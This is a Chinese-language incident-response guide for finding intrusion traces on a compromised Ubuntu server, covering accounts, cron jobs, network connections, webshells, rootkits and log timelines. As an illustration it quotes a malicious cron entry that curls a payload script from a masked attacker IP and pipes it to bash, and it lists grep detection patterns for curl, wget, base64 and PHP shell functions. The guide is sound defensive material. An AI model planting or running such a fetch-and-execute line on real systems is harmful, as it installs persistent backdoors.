Ubuntu服务器一旦被入侵,排查应优先从账户异常、登录日志、计划任务、网络连接、文件篡改和内核模块六个维度入手,结合lastb、grep、netstat、find、rkhunter等命令快速定位持久化后门与横向移动痕迹。

一、从登录日志与账户异常锁定初始入侵点

攻击者进入系统后通常会创建新账户、提升权限或修改既有账户属性。排查时先执行 grep ':0:' /etc/passwd 检查是否存在除root外的UID为0账户,再通过 last -20 和 lastb -50 分别查看成功登录与失败登录记录。2024年某云主机入侵案例中,管理员发现名为“systemd-service”的UID为0账户,配合lastb中来自境外IP的3000余次SSH暴力破解记录,确认入侵时间窗为凌晨2时至4时。

进一步检查 /etc/shadow 中无密码或空密码账户:awk -F: '($2=="") {print $1}' /etc/shadow。同时核对 /etc/sudoers 及 /etc/sudoers.d/ 下是否有异常NOPASSWD授权。攻击者常通过添加 www-data ALL=(ALL) NOPASSWD:ALL 实现提权,建议使用 visudo -c 校验配置并逐条审计授权项。

二、审计Shell历史、计划任务与启动项中的持久化后门

入侵痕迹排查必须覆盖持久化机制。先检查各用户主目录下的 .bash_history、.zsh_history,注意攻击者可能执行 history -c 清除记录,因此还需查看 /var/log/auth.log 中对应时间段的命令执行关联事件。重点审计 /etc/crontab、/var/spool/cron/crontabs/、/etc/cron.d/、/etc/cron.hourly/ 等目录,寻找包含base64编码、curl管道执行、未知域名回连的条目。

例如一条恶意计划任务 */5 * * * * root curl -fsSL http://103.xx.xx.xx/payload.sh | bash 可在5分钟内完成持久化部署。排查时用 grep -R "curl\|wget\|base64\|/tmp/" /etc/cron* /var/spool/cron/ 快速筛选。同时检查 systemd 服务:systemctl list-unit-files --type=service | grep enabled,对非系统默认服务查看其ExecStart指向的可疑路径,如 /tmp/.X11-unix/、/dev/shm/ 等临时目录。

三、分析异常网络连接与进程隐藏手段

通过 ss -tunap 查看所有TCP/UDP监听与已建立连接,重点标记非业务端口、境外IP和异常进程名。攻击者常用端口复用或反向Shell,如进程名为 [kworker/0:1] 却监听4444端口。执行 netstat -antp | grep ESTABLISHED 结合 ps auxf 交叉比对进程PID与启动命令,能发现伪装的挖矿程序或远控木马。

针对进程隐藏,使用 unhide、sysdig 或对比 /proc 与 ps 输出差异。例如执行 ls /proc | grep '^[0-9]' 获取全部PID,再与 ps -e 输出比对,若存在/proc中有但ps不显示的PID,极可能是被内核级rootkit隐藏的进程。某次应急响应中,管理员发现 /proc/5821 存在但ps无显示,进一步用 lsof -p 5821 确认其打开了 /usr/lib/libsystemd-shared.so 并持续向矿池地址发包。

四、检查文件系统篡改、Webshell与敏感目录异常

文件完整性是入侵痕迹排查的重要环节。对关键目录执行 find /var/www /usr/local /opt -type f -mtime -7 查找近7天被修改的文件,结合 rpm -Va 或 debsums -c 校验系统包完整性。Webshell通常具备特殊函数特征,可用 grep -R "eval(\|base64_decode\|system(\|shell_exec" /var/www/ 扫描PHP、JSP文件,并关注图片目录、上传目录中出现的.php、.jsp文件。

同时检查 /tmp、/var/tmp、/dev/shm 等可写目录是否出现可执行文件。攻击者常将恶意二进制命名为 .hidden、... 或空格开头以躲避ls。使用 find /tmp /var/tmp /dev/shm -type f -perm -111 -ls 列出所有可执行文件,并注意文件时间戳是否与系统安装时间或正常业务更新时间吻合。

五、借助Rootkit检测工具与内核模块审计确认深度入侵

内核级后门会拦截系统调用,使常规命令无法发现恶意文件、进程和网络端口。安装并运行 rkhunter --checkall 和 chkrootkit,可检测已知rootkit特征。同时执行 lsmod 查看加载的内核模块,对陌生模块使用 modinfo 查看路径与签名信息。2023年某Ubuntu 20.04服务器被植入LKM rootkit,模块名为“rt88xx”,实际隐藏了挖矿进程和SSH后门账户,最终通过对比 /sys/module/ 与lsmod输出发现异常。

建议在干净环境中挂载被入侵磁盘做离线分析,或使用内存取证工具如 lime、avml 抓取内存镜像,配合 Volatility 分析隐藏进程与网络连接。日常运维中应启用Auditd审计,配置 -w /etc/passwd -p wa -k passwd_changes 等规则,保留关键文件变更记录。

六、日志完整性验证与时间线重建

攻击者可能清除或篡改日志,因此需检查 /var/log/ 下各日志文件是否存在时间断层或格式异常。使用 stat /var/log/auth.log /var/log/syslog 查看修改时间,若日志文件在入侵时间段被替换或清空,需通过 journalctl --since "2024-01-01" 从systemd journal中恢复部分记录。执行 grep -E "Accepted|Failed|session opened|sudo" /var/log/auth.log 重建登录与提权时间线。

结合Web访问日志 /var/log/nginx/access.log 或 /var/log/apache2/access.log 中的POST请求、异常User-Agent、目录遍历特征,可定位Web入侵入口。例如某次排查发现 access.log 中大量针对 /wp-login.php 的POST请求,且User-Agent为python-requests,配合auth.log中www-data账户的异常登录,确认攻击路径为WordPress暴力破解后上传Webshell。

常见问题

Ubuntu服务器被入侵后第一步应该做什么?

先断网隔离但保留内存与进程状态,立即执行 lastb、last、ss -tunap、ps auxf 保存快照,再对 /var/log 做完整备份,避免重启导致内存型后门消失或日志被覆盖。

如何判断Ubuntu服务器是否被植入rootkit?

对比 /proc 与 ps 的进程列表差异,检查 lsmod 中陌生内核模块,运行 rkhunter 和 chkrootkit,并观察系统命令如 ls、ps、netstat 的哈希值是否与干净系统一致。

Ubuntu下常见的Webshell隐藏位置有哪些?

常见于 /var/www/ 下的上传目录、图片目录、缓存目录,文件名常伪装为 image.php、config.inc.php、.user.ini,也常写入 /tmp 或 /dev/shm 中通过include调用。

怎样通过计划任务发现Ubuntu服务器中的挖矿木马?

检查 /etc/crontab、/var/spool/cron/crontabs/ 及 /etc/cron.* 目录,寻找包含矿池地址、curl|bash、base64解码、未知域名或高频执行的条目,并关联 ps 中占用CPU异常的进程。

Ubuntu服务器日志被清除后还能排查入侵痕迹吗?

可以,通过 systemd journal 的持久化记录、/var/log 下未完全覆盖的轮转文件、文件系统时间戳、bash历史残留以及网络设备流日志进行交叉重建。

本文由人工智能生成,已经人工复核后发布。